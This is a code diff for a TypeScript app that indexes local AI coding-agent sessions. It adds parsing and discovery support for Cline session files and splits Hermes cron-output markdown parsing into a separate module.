+export async function parseClineSessionFile(
+  file: FileWithMtime,
+  platform: NodeJS.Platform = process.platform
+): Promise<AiVaultSession | null> {
+  const metadataContent = await wslGatedReadFile(file.path, 'utf-8', 'scan')
+  let messagesContent: string | null = null
+  try {
+    messagesContent = await wslGatedReadFile(
+      clineMessagesPathForMetadata(file.path),
+      'utf-8',
+      'scan'
+    )
+  } catch (error) {
+    // The manifest is written before the first turn; a missing messages file is
+    // a valid metadata-only session, while a WSL gate refusal must stay visible.
+    if (error instanceof WslTranscriptFsError || !isMissingSessionPathError(error)) {
+      throw error
+    }
+  }
+  return parseClineSessionContent(file, metadataContent, messagesContent, platform)
+}
+
+function isMissingSessionPathError(error: unknown): boolean {
+  const code =
+    error && typeof error === 'object' && 'code' in error && typeof error.code === 'string'
+      ? error.code
+      : null
+  return code === 'ENOENT' || code === 'ENOTDIR'
+}
+
+export function parseClineSessionContent(
+  file: FileWithMtime,
+  metadataContent: string,
+  messagesContent: string | null,
+  platform: NodeJS.Platform = process.platform,
+  options: ParserSessionOptions = {}
+): AiVaultSession | null {
+  const metadata = parseJsonRecord(metadataContent)
+  if (!metadata) {
+    return null
+  }
+  const pathSegments = file.path.replace(/\\/g, '/').split('/').filter(Boolean)
+  const sessionId = extractString(metadata.session_id) ?? pathSegments.at(-2) ?? ''
+  const accumulator = createAccumulator({ agent: 'cline', file, sessionId })
+  accumulator.cwd = extractString(metadata.cwd) ?? extractString(metadata.workspace_root)
+  accumulator.model = extractString(metadata.model)
+  updateTimeline(accumulator, metadata.started_at)
+
+  const messages = messagesContent ? parseJsonRecord(messagesContent) : null
+  if (messages) {
+    updateTimeline(accumulator, messages.updated_at)
+    for (const value of arrayValue(messages.messages)) {
+      const message = asRecord(value)
+      const role = message?.role
+      if (!message || (role !== 'user' && role !== 'assistant')) {
+        continue
+      }
+      accumulator.messageCount++
+      updateTimeline(accumulator, message.ts)
+      const content = message.content
+      if (role === 'user' && !accumulator.fallbackTitle) {
+        accumulator.fallbackTitle = normalizeTitleText(extractContentText(content) ?? '')
+      }
+      if (role === 'assistant' && !accumulator.model) {
+        accumulator.model = extractString(asRecord(message.modelInfo)?.id)
+      }
+      addPreviewContent(accumulator, role, content, message.ts)
+    }
+  }
+  accumulator.fallbackTitle ??= normalizeTitleText(extractString(metadata.prompt) ?? '')
+
+  return finalizeSession(accumulator, platform, options)
+}
+
+function parseJsonRecord(content: string): Record<string, unknown> | null {
+  try {
+    return asRecord(JSON.parse(content) as unknown)
+  } catch {
+    return null
+  }
+}
diff --git a/src/main/ai-vault/session-scanner-discovery.ts b/src/main/ai-vault/session-scanner-discovery.ts
index 9ec569bc547..a5cf386043e 100644
--- a/src/main/ai-vault/session-scanner-discovery.ts
+++ b/src/main/ai-vault/session-scanner-discovery.ts
@@ -14,6 +14,7 @@ export async function discoverFiles(args: {
   issues: AiVaultScanIssue[]
   extensions: string[]
   filePredicate?: (path: string) => boolean
+  contentDependencyPath?: (path: string) => string
   directoryPredicate?: (name: string, depth: number) => boolean
 }): Promise<SessionFileDiscovery> {
   let paths: string[]
@@ -41,11 +42,13 @@ export async function discoverFiles(args: {
   for (const path of paths) {
     try {
       const fileStat = await wslGatedStat(path, 'scan')
+      const dependencyStat = await optionalContentDependencyStat(args.contentDependencyPath?.(path))
+      const mtimeMs = Math.max(fileStat.mtimeMs, dependencyStat?.mtimeMs ?? 0)
       files.push({
         path,
-        mtimeMs: fileStat.mtimeMs,
-        modifiedAt: fileStat.mtime.toISOString(),
-        sizeBytes: fileStat.size,
+        mtimeMs,
+        modifiedAt: new Date(mtimeMs).toISOString(),
+        sizeBytes: fileStat.size + (dependencyStat?.size ?? 0),
         dev: fileStat.dev,
         ino: fileStat.ino,
         nlink: fileStat.nlink
@@ -65,6 +68,23 @@ export async function discoverFiles(args: {
   }
 }
 
+async function optionalContentDependencyStat(
+  filePath: string | undefined
+): Promise<{ mtimeMs: number; size: number } | null> {
+  if (!filePath) {
+    return null
+  }
+  try {
+    const fileStat = await wslGatedStat(filePath, 'scan')
+    return { mtimeMs: fileStat.mtimeMs, size: fileStat.size }
+  } catch (error) {
+    if (error instanceof WslTranscriptFsError) {
+      throw error
+    }
+    return null
+  }
+}
+
 export async function walkSessionFiles(
   dirPath: string,
   agent: AiVaultAgent,
diff --git a/src/main/ai-vault/session-scanner-parse-cache.ts b/src/main/ai-vault/session-scanner-parse-cache.ts
index 563055ffa39..aaabaf76d6e 100644
--- a/src/main/ai-vault/session-scanner-parse-cache.ts
+++ b/src/main/ai-vault/session-scanner-parse-cache.ts
@@ -76,6 +76,7 @@ function resumableStateFactoryFor(
     case 'devin':
     case 'grok':
     case 'hermes':
+    case 'cline':
     case 'kimi':
     case 'opencode':
     case 'rovo':
diff --git a/src/main/ai-vault/session-scanner-service-env.test.ts b/src/main/ai-vault/session-scanner-service-env.test.ts
index 5d06c0508e8..b56b849270b 100644
--- a/src/main/ai-vault/session-scanner-service-env.test.ts
+++ b/src/main/ai-vault/session-scanner-service-env.test.ts
@@ -33,6 +33,7 @@ describe('buildAiVaultServiceEnv', () => {
     const env = buildAiVaultServiceEnv(
       {
         CODEX_HOME: '/home/dev/.codex',
+        CLINE_SESSION_DATA_DIR: '/home/dev/cline-sessions',
         COPILOT_HOME: '/home/dev/.copilot',
         DEVIN_HOME: '/home/dev/.devin',
         GROK_HOME: '/home/dev/.grok',
@@ -49,6 +50,7 @@ describe('buildAiVaultServiceEnv', () => {
 
     expect(env).toEqual({
       CODEX_HOME: '/home/dev/.codex',
+      CLINE_SESSION_DATA_DIR: '/home/dev/cline-sessions',
       COPILOT_HOME: '/home/dev/.copilot',
       DEVIN_HOME: '/home/dev/.devin',
       GROK_HOME: '/home/dev/.grok',
diff --git a/src/main/ai-vault/session-scanner-service-env.ts b/src/main/ai-vault/session-scanner-service-env.ts
index e2f5309e70e..a29dd9d2108 100644
--- a/src/main/ai-vault/session-scanner-service-env.ts
+++ b/src/main/ai-vault/session-scanner-service-env.ts
@@ -34,6 +34,7 @@ export const RUNTIME_ENV_ALLOWLIST = [
 // dropping one hides every session of a user who relocated that agent's home.
 const AGENT_ROOT_ENV_ALLOWLIST = [
   'CODEX_HOME',
+  'CLINE_SESSION_DATA_DIR',
   'COPILOT_HOME',
   'DEVIN_HOME',
   'GROK_HOME',
diff --git a/src/main/ai-vault/session-scanner-source-discovery.ts b/src/main/ai-vault/session-scanner-source-discovery.ts
index fd368f6c172..fef37ebcda0 100644
--- a/src/main/ai-vault/session-scanner-source-discovery.ts
+++ b/src/main/ai-vault/session-scanner-source-discovery.ts
@@ -55,6 +55,7 @@ function agentDiscoveries(
       issues,
       extensions: [...source.extensions],
       filePredicate: source.filePredicate,
+      contentDependencyPath: source.contentDependencyPath,
       directoryPredicate: source.directoryPredicate
     })
   return source.mergeRootDiscoveries
diff --git a/src/main/ai-vault/session-scanner-test-fixtures.ts b/src/main/ai-vault/session-scanner-test-fixtures.ts
index 6da538c6a5f..e7dd54196f5 100644
--- a/src/main/ai-vault/session-scanner-test-fixtures.ts
+++ b/src/main/ai-vault/session-scanner-test-fixtures.ts
@@ -24,6 +24,7 @@ export function isolatedScanRoots(root: string) {
     primeAgentSessionsDir: join(root, 'prime-agent-sessions'),
     droidSessionsDir: join(root, 'droid-sessions'),
     droidProjectsDir: join(root, 'droid-projects'),
+    clineSessionsDir: join(root, 'cline-sessions'),
     kimiSessionsDir: join(root, 'kimi-sessions')
   }
 }
diff --git a/src/main/ai-vault/session-scanner-types.ts b/src/main/ai-vault/session-scanner-types.ts
index 9021b1f7c02..ab553b63568 100644
--- a/src/main/ai-vault/session-scanner-types.ts
+++ b/src/main/ai-vault/session-scanner-types.ts
@@ -33,6 +33,7 @@ export type AiVaultScanOptions = {
   primeAgentSessionsDir?: string
   droidSessionsDir?: string
   droidProjectsDir?: string
+  clineSessionsDir?: string
   kimiSessionsDir?: string
   limit?: number
   unlimited?: boolean
diff --git a/src/main/ai-vault/session-scanner.test.ts b/src/main/ai-vault/session-scanner.test.ts
index feff1b19f89..14f37d566b8 100644
--- a/src/main/ai-vault/session-scanner.test.ts
+++ b/src/main/ai-vault/session-scanner.test.ts
@@ -647,6 +647,26 @@ describe('scanAiVaultSessions', () => {
       ])
     )
 
+    const clineSessionId = 'cline-session'
+    const clineSessionDir = join(roots.clineSessionsDir, clineSessionId)
+    await mkdir(clineSessionDir, { recursive: true })
+    await writeFile(
+      join(clineSessionDir, `${clineSessionId}.json`),
+      JSON.stringify({
+        session_id: clineSessionId,
+        started_at: '2026-05-01T10:10:30.000Z',
+        model: 'cline-model',
+        cwd: '/tmp/cline'
+      })
+    )
+    await writeFile(
+      join(clineSessionDir, `${clineSessionId}.messages.json`),
+      JSON.stringify({
+        updated_at: '2026-05-01T10:10:31.000Z',
+        messages: [{ role: 'user', content: [{ type: 'text', text: 'Cline vault title' }] }]
+      })
+    )
+
     // Kimi: <sessions>/wd_*/session_*/state.json + sibling agents/main/wire.jsonl,
     // with the work dir resolved from the top-level session_index.jsonl.
     const kimiSessionDir = join(roots.kimiSessionsDir, 'wd_app_abc', 'session_kimi-session')
@@ -738,6 +758,7 @@ describe('scanAiVaultSessions', () => {
     expect(commandByAgent.get('prime-agent')).toBe(
       `cd '/tmp/prime-agent' && prime-agent --resume '${primeAgentSessionFile}'`
     )
+    expect(commandByAgent.get('cline')).toBe("cd '/tmp/cline' && cline --id 'cline-session'")
     expect(commandByAgent.get('devin')).toBe("cd '/tmp/devin' && devin --resume 'devin-session'")
     expect(commandByAgent.get('droid')).toBe("cd '/tmp/droid' && droid --resume 'droid-session'")
     expect(commandByAgent.get('kimi')).toBe(
diff --git a/src/main/automations/hermes-cron-output-markdown.ts b/src/main/automations/hermes-cron-output-markdown.ts
new file mode 100644
index 00000000000..a698458ca8d
--- /dev/null
+++ b/src/main/automations/hermes-cron-output-markdown.ts
@@ -0,0 +1,284 @@
+export const HERMES_OUTPUT_FILE_PATTERN = /^(\d{4})-(\d{2})-(\d{2})_(\d{2})-(\d{2})-(\d{2})\.md$/
+const HERMES_RUN_KEY_PATTERN = /^(\d{4})(\d{2})(\d{2})_(\d{2})(\d{2})(\d{2})$/
+export const MAX_SESSION_OUTPUT_GAP_MS = 24 * 60 * 60 * 1000
+export const MAX_REFERENCED_LOG_BYTES = 5 * 1024 * 1024
+export const FULL_SESSION_LOG_HEADING = '## Full session log'
+export const REFERENCED_LOG_HEADING = '## Latest log file'
+const RUN_PREVIEW_LIMIT = 180
+export const LATEST_LOG_PATH_PATTERN =
+  /\bLatest log path:\s*(?<path>(?:[A-Za-z]:[\\/]|\/)[^\r\n]*?)(?=\s+Run summary:|\r?\n|$)/i
+export function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+export function asString(value: unknown): string | null {
+  return typeof value === 'string' && value.trim() ? value : null
+}
+
+export function runAtFromHermesOutputFile(filename: string): string | null {
+  const match = HERMES_OUTPUT_FILE_PATTERN.exec(filename)
+  if (!match) {
+    return null
+  }
+  const [, year, month, day, hour, minute, second] = match
+  return `${year}-${month}-${day}T${hour}:${minute}:${second}`
+}
+
+export function runKeyFromHermesOutputFile(filename: string): string | null {
+  const match = HERMES_OUTPUT_FILE_PATTERN.exec(filename)
+  if (!match) {
+    return null
+  }
+  const [, year, month, day, hour, minute, second] = match
+  return `${year}${month}${day}_${hour}${minute}${second}`
+}
+
+export function runAtFromUnixSeconds(value: unknown): string | null {
+  if (typeof value !== 'number' || !Number.isFinite(value)) {
+    return null
+  }
+  const date = new Date(value * 1000)
+  return Number.isNaN(date.getTime()) ? null : date.toISOString()
+}
+
+export function sortableTimeFromRunKey(runKey: string | null): number {
+  if (!runKey) {
+    return Number.NaN
+  }
+  const match = HERMES_RUN_KEY_PATTERN.exec(runKey)
+  if (!match) {
+    return Number.NaN
+  }
+  const [, year, month, day, hour, minute, second] = match
+  return Date.UTC(
+    Number(year),
+    Number(month) - 1,
+    Number(day),
+    Number(hour),
+    Number(minute),
+    Number(second)
+  )
+}
+
+export function escapeSqlLike(value: string): string {
+  return value.replaceAll('\\', '\\\\').replaceAll('%', '\\%').replaceAll('_', '\\_')
+}
+
+type ContentRange = {
+  start: number
+  end: number
+}
+
+function cleanRunPreview(value: string, startIndex = 0, endIndex = value.length): string | null {
+  const normalized = foldRunPreviewText(value, startIndex, endIndex)
+  if (!normalized.text) {
+    return null
+  }
+  return normalized.truncated
+    ? `${normalized.text.slice(0, RUN_PREVIEW_LIMIT - 3)}...`
+    : normalized.text
+}
+
+function foldRunPreviewText(
+  value: string,
+  startIndex: number,
+  endIndex: number
+): { text: string; truncated: boolean } {
+  let text = ''
+  let pendingSpace = false
+  let index = Math.max(0, startIndex)
+  const end = Math.min(value.length, endIndex)
+  while (index < end && text.length <= RUN_PREVIEW_LIMIT) {
+    if (startsWithAt(value, '```', index)) {
+      if (text.length > 0) {
+        pendingSpace = true
+      }
+      index = skipFencedBlock(value, index, end)
+      continue
+    }
+
+    const code = value.charCodeAt(index)
+    if (isPreviewSeparator(code)) {
+      if (text.length > 0) {
+        pendingSpace = true
+      }
+      index += 1
+      continue
+    }
+
+    if (pendingSpace) {
+      text += ' '
+      pendingSpace = false
+      if (text.length > RUN_PREVIEW_LIMIT) {
+        break
+      }
+    }
+    text += value[index]
+    index += 1
+  }
+  return { text, truncated: text.length > RUN_PREVIEW_LIMIT }
+}
+
+function isPreviewSeparator(code: number): boolean {
+  return (
+    code === 32 ||
+    (code >= 9 && code <= 13) ||
+    code === 35 ||
+    code === 40 ||
+    code === 41 ||
+    code === 42 ||
+    code === 62 ||
+    code === 91 ||
+    code === 93 ||
+    code === 95 ||
+    code === 96
+  )
+}
+
+export function parseHermesOutput(content: string): {
+  status: 'completed' | 'failed' | 'unknown'
+  outputPreview: string | null
+  outputContent: string
+  error: string | null
+} {
+  const errorHeading = findMarkdownHeading(content, '## Error')
+  const responseHeading = findMarkdownHeading(content, '## Response')
+  const errorRange = errorHeading ? errorContentRange(content, errorHeading.bodyStart) : null
+  const failed = hasFailedCronHeading(content) || errorHeading !== null
+  const error = errorRange ? cleanRunPreview(content, errorRange.start, errorRange.end) : null
+  const previewRange = responseHeading
+    ? { start: responseHeading.bodyStart, end: content.length }
+    : (errorRange ?? { start: 0, end: content.length })
+  return {
+    status: failed ? 'failed' : responseHeading ? 'completed' : 'unknown',
+    outputPreview: cleanRunPreview(content, previewRange.start, previewRange.end),
+    outputContent: content,
+    error
+  }
+}
+
+function hasFailedCronHeading(content: string): boolean {
+  let lineStart = 0
+  while (lineStart < content.length) {
+    const lineEnd = lineEndIndex(content, lineStart)
+    if (
+      startsWithAt(content, '#', lineStart) &&
+      lineContains(content, lineStart, lineEnd, 'Cron Job:') &&
+      lineContains(content, lineStart, lineEnd, '(FAILED)')
+    ) {
+      return true
+    }
+    lineStart = nextLineStart(content, lineEnd)
+  }
+  return false
+}
+
+function findMarkdownHeading(
+  content: string,
+  heading: '## Error' | '## Response'
+): { bodyStart: number } | null {
+  let lineStart = 0
+  while (lineStart < content.length) {
+    const lineEnd = lineEndIndex(content, lineStart)
+    if (
+      startsWithAt(content, heading, lineStart) &&
+      isHeadingBoundary(content.charCodeAt(lineStart + heading.length))
+    ) {
+      return { bodyStart: nextLineStart(content, lineEnd) }
+    }
+    lineStart = nextLineStart(content, lineEnd)
+  }
+  return null
+}
+
+function errorContentRange(content: string, bodyStart: number): ContentRange {
+  const start = skipPreviewWhitespace(content, bodyStart, content.length)
+  if (!startsWithAt(content, '```', start)) {
+    return { start, end: nextMarkdownHeadingStart(content, start) ?? content.length }
+  }
+
+  const fencedStart = nextLineStart(content, lineEndIndex(content, start))
+  const fencedEnd = findClosingFence(content, fencedStart) ?? content.length
+  return { start: fencedStart, end: fencedEnd }
+}
+
+function skipFencedBlock(content: string, fenceStart: number, endIndex: number): number {
+  const bodyStart = nextLineStart(content, lineEndIndex(content, fenceStart))
+  const closeStart = findClosingFence(content, bodyStart)
+  if (closeStart === null || closeStart > endIndex) {
+    return endIndex
+  }
+  return nextLineStart(content, lineEndIndex(content, closeStart))
+}
+
+function findClosingFence(content: string, fromIndex: number): number | null {
+  let lineStart = fromIndex
+  while (lineStart < content.length) {
+    const lineEnd = lineEndIndex(content, lineStart)
+    const textStart = skipPreviewWhitespace(content, lineStart, lineEnd)
+    if (startsWithAt(content, '```', textStart)) {
+      return textStart
+    }
+    lineStart = nextLineStart(content, lineEnd)
+  }
+  return null
+}
+
+function nextMarkdownHeadingStart(content: string, fromIndex: number): number | null {
+  let lineStart = fromIndex
+  while (lineStart < content.length) {
+    const lineEnd = lineEndIndex(content, lineStart)
+    if (startsWithAt(content, '## ', lineStart)) {
+      return lineStart
+    }
+    lineStart = nextLineStart(content, lineEnd)
+  }
+  return null
+}
+
+function lineEndIndex(value: string, startIndex: number): number {
+  const newline = value.indexOf('\n', startIndex)
+  return newline === -1 ? value.length : newline
+}
+
+function nextLineStart(value: string, lineEnd: number): number {
+  return lineEnd < value.length ? lineEnd + 1 : value.length
+}
+
+function lineContains(
+  value: string,
+  startIndex: number,
+  endIndex: number,
+  needle: string
+): boolean {
+  const index = value.indexOf(needle, startIndex)
+  return index !== -1 && index < endIndex
+}
+
+function skipPreviewWhitespace(value: string, startIndex: number, endIndex: number): number {
+  let index = startIndex
+  while (index < endIndex && isPreviewWhitespace(value.charCodeAt(index))) {
+    index += 1
+  }
+  return index
+}
+
+function isPreviewWhitespace(code: number): boolean {
+  return code === 32 || (code >= 9 && code <= 13)
+}
+
+function isHeadingBoundary(code: number): boolean {
+  return Number.isNaN(code) || isPreviewWhitespace(code)
+}
+
+function startsWithAt(value: string, search: string, startIndex: number): boolean {
+  if (startIndex + search.length > value.length) {
+    return false
+  }
+  for (let offset = 0; offset < search.length; offset += 1) {
+    if (value.charCodeAt(startIndex + offset) !== search.charCodeAt(offset)) {
+      return false
+    }
+  }
+  return true
+}
diff --git a/src/main/automations/hermes-cron-output.ts b/src/main/automations/hermes-cron-output.ts
index 581b7f998d1..22272929e45 100644
--- a/src/main/automations/hermes-cron-output.ts
+++ b/src/main/automations/hermes-cron-output.ts
@@ -1,31 +1,38 @@
-/* eslint-disable max-lines -- Why: Hermes run history has to reconcile
- * markdown output files with SQLite session transcripts from separate stores. */
 import { existsSync } from 'node:fs'
-import { open, readdir, readFile, realpath, stat } from 'node:fs/promises'
+import { readdir, readFile } from 'node:fs/promises'
 import { homedir } from 'node:os'
-import { isAbsolute, join, relative, resolve, sep } from 'node:path'
+import { join } from 'node:path'
 import Database from '../sqlite/sync-database'
+import {
+  HERMES_OUTPUT_FILE_PATTERN,
+  escapeSqlLike,
+  parseHermesOutput,
+  runAtFromHermesOutputFile,
+  runAtFromUnixSeconds,
+  runKeyFromHermesOutputFile
+} from './hermes-cron-output-markdown'
+import {
+  appendReferencedLogFile,
+  formatSessionMessages,
+  mergeHermesOutputAndSessionRunRefs,
+  mergeHermesOutputAndSessionRuns
+} from './hermes-cron-run-content'
+import {
+  clearHermesCronOutputRunCountCache as clearHermesRunCountCache,
+  readCachedHermesRunCount
+} from './hermes-cron-run-count-cache'
 
 const HERMES_HOME = process.env.HERMES_HOME?.trim() || join(homedir(), '.hermes')
 const HERMES_OUTPUT_DIR = join(HERMES_HOME, 'cron', 'output')
 const HERMES_STATE_DB = join(HERMES_HOME, 'state.db')
 const EXTERNAL_JOB_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]*$/
-const HERMES_OUTPUT_FILE_PATTERN = /^(\d{4})-(\d{2})-(\d{2})_(\d{2})-(\d{2})-(\d{2})\.md$/
-const HERMES_RUN_KEY_PATTERN = /^(\d{4})(\d{2})(\d{2})_(\d{2})(\d{2})(\d{2})$/
-const MAX_SESSION_OUTPUT_GAP_MS = 24 * 60 * 60 * 1000
-const MAX_REFERENCED_LOG_BYTES = 5 * 1024 * 1024
-const FULL_SESSION_LOG_HEADING = '## Full session log'
-const REFERENCED_LOG_HEADING = '## Latest log file'
-const RUN_PREVIEW_LIMIT = 180
-const LATEST_LOG_PATH_PATTERN =
-  /\bLatest log path:\s*(?<path>(?:[A-Za-z]:[\\/]|\/)[^\r\n]*?)(?=\s+Run summary:|\r?\n|$)/i
 
 export type HermesCronOutputRunsPage = {
   total: number
   runs: unknown[]
 }
 
-type HermesOutputRunRef = {
+export type HermesOutputRunRef = {
   kind: 'output'
   id: string
   job_id: string
@@ -34,7 +41,7 @@ type HermesOutputRunRef = {
   output_path: string
 }
 
-type HermesSessionRunRef = {
+export type HermesSessionRunRef = {
   kind: 'session'
   id: string
   job_id: string
@@ -42,7 +49,7 @@ type HermesSessionRunRef = {
   run_key: string | null
 }
 
-type HermesMergedRunRef = {
+export type HermesMergedRunRef = {
   id: string
   job_id: string
   run_at: string | null
@@ -51,529 +58,6 @@ type HermesMergedRunRef = {
   session: HermesSessionRunRef | null
 }
 
-function isRecord(value: unknown): value is Record<string, unknown> {
-  return typeof value === 'object' && value !== null && !Array.isArray(value)
-}
-
-function asString(value: unknown): string | null {
-  return typeof value === 'string' && value.trim() ? value : null
-}
-
-function runAtFromHermesOutputFile(filename: string): string | null {
-  const match = HERMES_OUTPUT_FILE_PATTERN.exec(filename)
-  if (!match) {
-    return null
-  }
-  const [, year, month, day, hour, minute, second] = match
-  return `${year}-${month}-${day}T${hour}:${minute}:${second}`
-}
-
-function runKeyFromHermesOutputFile(filename: string): string | null {
-  const match = HERMES_OUTPUT_FILE_PATTERN.exec(filename)
-  if (!match) {
-    return null
-  }
-  const [, year, month, day, hour, minute, second] = match
-  return `${year}${month}${day}_${hour}${minute}${second}`
-}
-
-function runAtFromUnixSeconds(value: unknown): string | null {
-  if (typeof value !== 'number' || !Number.isFinite(value)) {
-    return null
-  }
-  const date = new Date(value * 1000)
-  return Number.isNaN(date.getTime()) ? null : date.toISOString()
-}
-
-function sortableTimeFromRunKey(runKey: string | null): number {
-  if (!runKey) {
-    return Number.NaN
-  }
-  const match = HERMES_RUN_KEY_PATTERN.exec(runKey)
-  if (!match) {
-    return Number.NaN
-  }
-  const [, year, month, day, hour, minute, second] = match
-  return Date.UTC(
-    Number(year),
-    Number(month) - 1,
-    Number(day),
-    Number(hour),
-    Number(minute),
-    Number(second)
-  )
-}
-
-function escapeSqlLike(value: string): string {
-  return value.replaceAll('\\', '\\\\').replaceAll('%', '\\%').replaceAll('_', '\\_')
-}
-
-type ContentRange = {
-  start: number
-  end: number
-}
-
-function cleanRunPreview(value: string, startIndex = 0, endIndex = value.length): string | null {
-  const normalized = foldRunPreviewText(value, startIndex, endIndex)
-  if (!normalized.text) {
-    return null
-  }
-  return normalized.truncated
-    ? `${normalized.text.slice(0, RUN_PREVIEW_LIMIT - 3)}...`
-    : normalized.text
-}
-
-function foldRunPreviewText(
-  value: string,
-  startIndex: number,
-  endIndex: number
-): { text: string; truncated: boolean } {
-  let text = ''
-  let pendingSpace = false
-  let index = Math.max(0, startIndex)
-  const end = Math.min(value.length, endIndex)
-  while (index < end && text.length <= RUN_PREVIEW_LIMIT) {
-    if (startsWithAt(value, '```', index)) {
-      if (text.length > 0) {
-        pendingSpace = true
-      }
-      index = skipFencedBlock(value, index, end)
-      continue
-    }
-
-    const code = value.charCodeAt(index)
-    if (isPreviewSeparator(code)) {
-      if (text.length > 0) {
-        pendingSpace = true
-      }
-      index += 1
-      continue
-    }
-
-    if (pendingSpace) {
-      text += ' '
-      pendingSpace = false
-      if (text.length > RUN_PREVIEW_LIMIT) {
-        break
-      }
-    }
-    text += value[index]
-    index += 1
-  }
-  return { text, truncated: text.length > RUN_PREVIEW_LIMIT }
-}
-
-function isPreviewSeparator(code: number): boolean {
-  return (
-    code === 32 ||
-    (code >= 9 && code <= 13) ||
-    code === 35 ||
-    code === 40 ||
-    code === 41 ||
-    code === 42 ||
-    code === 62 ||
-    code === 91 ||
-    code === 93 ||
-    code === 95 ||
-    code === 96
-  )
-}
-
-function parseHermesOutput(content: string): {
-  status: 'completed' | 'failed' | 'unknown'
-  outputPreview: string | null
-  outputContent: string
-  error: string | null
-} {
-  const errorHeading = findMarkdownHeading(content, '## Error')
-  const responseHeading = findMarkdownHeading(content, '## Response')
-  const errorRange = errorHeading ? errorContentRange(content, errorHeading.bodyStart) : null
-  const failed = hasFailedCronHeading(content) || errorHeading !== null
-  const error = errorRange ? cleanRunPreview(content, errorRange.start, errorRange.end) : null
-  const previewRange = responseHeading
-    ? { start: responseHeading.bodyStart, end: content.length }
-    : (errorRange ?? { start: 0, end: content.length })
-  return {
-    status: failed ? 'failed' : responseHeading ? 'completed' : 'unknown',
-    outputPreview: cleanRunPreview(content, previewRange.start, previewRange.end),
-    outputContent: content,
-    error
-  }
-}
-
-function hasFailedCronHeading(content: string): boolean {
-  let lineStart = 0
-  while (lineStart < content.length) {
-    const lineEnd = lineEndIndex(content, lineStart)
-    if (
-      startsWithAt(content, '#', lineStart) &&
-      lineContains(content, lineStart, lineEnd, 'Cron Job:') &&
-      lineContains(content, lineStart, lineEnd, '(FAILED)')
-    ) {
-      return true
-    }
-    lineStart = nextLineStart(content, lineEnd)
-  }
-  return false
-}
-
-function findMarkdownHeading(
-  content: string,
-  heading: '## Error' | '## Response'
-): { bodyStart: number } | null {
-  let lineStart = 0
-  while (lineStart < content.length) {
-    const lineEnd = lineEndIndex(content, lineStart)
-    if (
-      startsWithAt(content, heading, lineStart) &&
-      isHeadingBoundary(content.charCodeAt(lineStart + heading.length))
-    ) {
-      return { bodyStart: nextLineStart(content, lineEnd) }
-    }
-    lineStart = nextLineStart(content, lineEnd)
-  }
-  return null
-}
-
-function errorContentRange(content: string, bodyStart: number): ContentRange {
-  const start = skipPreviewWhitespace(content, bodyStart, content.length)
-  if (!startsWithAt(content, '```', start)) {
-    return { start, end: nextMarkdownHeadingStart(content, start) ?? content.length }
-  }
-
-  const fencedStart = nextLineStart(content, lineEndIndex(content, start))
-  const fencedEnd = findClosingFence(content, fencedStart) ?? content.length
-  return { start: fencedStart, end: fencedEnd }
-}
-
-function skipFencedBlock(content: string, fenceStart: number, endIndex: number): number {
-  const bodyStart = nextLineStart(content, lineEndIndex(content, fenceStart))
-  const closeStart = findClosingFence(content, bodyStart)
-  if (closeStart === null || closeStart > endIndex) {
-    return endIndex
-  }
-  return nextLineStart(content, lineEndIndex(content, closeStart))
-}
-
-function findClosingFence(content: string, fromIndex: number): number | null {
-  let lineStart = fromIndex
-  while (lineStart < content.length) {
-    const lineEnd = lineEndIndex(content, lineStart)
-    const textStart = skipPreviewWhitespace(content, lineStart, lineEnd)
-    if (startsWithAt(content, '```', textStart)) {
-      return textStart
-    }
-    lineStart = nextLineStart(content, lineEnd)
-  }
-  return null
-}
-
-function nextMarkdownHeadingStart(content: string, fromIndex: number): number | null {
-  let lineStart = fromIndex
-  while (lineStart < content.length) {
-    const lineEnd = lineEndIndex(content, lineStart)
-    if (startsWithAt(content, '## ', lineStart)) {
-      return lineStart
-    }
-    lineStart = nextLineStart(content, lineEnd)
-  }
-  return null
-}
-
-function lineEndIndex(value: string, startIndex: number): number {
-  const newline = value.indexOf('\n', startIndex)
-  return newline === -1 ? value.length : newline
-}
-
-function nextLineStart(value: string, lineEnd: number): number {
-  return lineEnd < value.length ? lineEnd + 1 : value.length
-}
-
-function lineContains(
-  value: string,
-  startIndex: number,
-  endIndex: number,
-  needle: string
-): boolean {
-  const index = value.indexOf(needle, startIndex)
-  return index !== -1 && index < endIndex
-}
-
-function skipPreviewWhitespace(value: string, startIndex: number, endIndex: number): number {
-  let index = startIndex
-  while (index < endIndex && isPreviewWhitespace(value.charCodeAt(index))) {
-    index += 1
-  }
-  return index
-}
-
-function isPreviewWhitespace(code: number): boolean {
-  return code === 32 || (code >= 9 && code <= 13)
-}
-
-function isHeadingBoundary(code: number): boolean {
-  return Number.isNaN(code) || isPreviewWhitespace(code)
-}
-
-function startsWithAt(value: string, search: string, startIndex: number): boolean {
-  if (startIndex + search.length > value.length) {
-    return false
-  }
-  for (let offset = 0; offset < search.length; offset += 1) {
-    if (value.charCodeAt(startIndex + offset) !== search.charCodeAt(offset)) {
-      return false
-    }
-  }
-  return true
-}
-
-function extractLatestLogPath(content: string): string | null {
-  const rawPath = LATEST_LOG_PATH_PATTERN.exec(content)?.groups?.path?.trim()
-  if (!rawPath) {
-    return null
-  }
-  return rawPath.replace(/^`|`$/g, '').trim()
-}
-
-async function readReferencedLogFile(content: string): Promise<{
-  path: string
-  content: string
-  truncated: boolean
-} | null> {
-  const logPath = extractLatestLogPath(content)
-  if (!logPath || !isAbsolute(logPath)) {
-    return null
-  }
-  try {
-    const homeRealPath = await realpath(HERMES_HOME)
-    const logRealPath = await realpath(logPath)
-    const relativeToHermesHome = relative(resolve(homeRealPath), resolve(logRealPath))
-    // Why: the output body can contain agent-authored text, so only hydrate
-    // referenced files that resolve inside Hermes' own data directory.
-    if (
-      relativeToHermesHome === '..' ||
-      relativeToHermesHome.startsWith(`..${sep}`) ||
-      isAbsolute(relativeToHermesHome)
-    ) {
-      return null
-    }
-    const logStat = await stat(logPath)
-    if (!logStat.isFile()) {
-      return null
-    }
-    if (logStat.size <= MAX_REFERENCED_LOG_BYTES) {
-      return {
-        path: logPath,
-        content: await readFile(logPath, 'utf-8'),
-        truncated: false
-      }
-    }
-    const file = await open(logPath, 'r')
-    try {
-      const buffer = Buffer.alloc(MAX_REFERENCED_LOG_BYTES)
-      await file.read(buffer, 0, MAX_REFERENCED_LOG_BYTES, logStat.size - MAX_REFERENCED_LOG_BYTES)
-      return {
-        path: logPath,
-        content: buffer.toString('utf-8'),
-        truncated: true
-      }
-    } finally {
-      await file.close()
-    }
-  } catch {
-    return null
-  }
-}
-
